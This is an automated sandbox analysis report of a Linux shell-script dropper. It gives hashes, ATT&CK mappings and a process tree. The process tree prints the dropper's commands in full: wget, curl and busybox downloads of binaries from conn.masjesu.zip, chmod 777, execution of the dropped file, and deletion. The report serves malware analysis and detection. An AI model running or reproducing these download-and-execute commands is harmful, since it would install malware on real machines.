a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01

Analysis

max time kernel
149s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2024, 02:44

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General

Target
a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
Size 10KB
Sample241027-c8lgbatdpq
SHA256 a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01
MD5 1fa8632f23bf2eb5ae4e459eb2a5cc6c
SHA1 82b77d7ef192e07c64fb2924f35826b601320f62
SHA512 92a0ab8744e2c7c76f94fbb1ee283b0b340f26fc78aba0d07799c08030dfa7eaf9b552de359499c069a889b3de007a7060c7604a274d832e82ba395eb2e08533
SSDEEP 192:RKjiid8vMrUiUSUtUEUmFUo//Cjaiid8R+UiUSUtUEUmFUx:RKjiid8vM09/aWiid8RNy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
697	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	699	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
701	wget
704	curl
675	wget
683	curl
696	busybox

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl

/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
1⤵
PID:667
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:673
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - System Network Configuration Discovery
  PID:675
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:683
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - System Network Configuration Discovery
  PID:696
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:700
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - System Network Configuration Discovery
  PID:701
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Path /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads